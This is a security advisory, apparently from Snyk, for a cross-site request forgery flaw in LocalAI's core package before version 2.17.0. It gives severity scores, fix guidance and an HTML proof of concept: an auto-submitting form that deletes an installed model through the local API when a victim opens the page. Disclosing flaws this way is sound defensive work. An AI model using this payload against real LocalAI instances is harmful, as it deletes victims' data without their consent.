Cross-Site Request Forgery (CSRF) Affecting github.com/go-skynet/localai/core package, versions <2.17.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMGOSKYNETLOCALAICORE-7430236
  • published 8 Jul 2024
  • disclosed 6 Jul 2024
  • credit pinkdraconian

How to fix?

Upgrade github.com/go-skynet/LocalAI/core to version 2.17.0 or higher.

Overview

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) through the model deletion functionality. An attacker can trick victims into deleting installed models by crafting a malicious HTML page.

PoC


<html>
  <body>
    <form action="http://localhost:8080/browse/delete/model/gpt-4-vision-preview" method="POST">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
5.1 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Active
  • Confidentiality (VC)
    None
  • Integrity (VI)
    Low
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None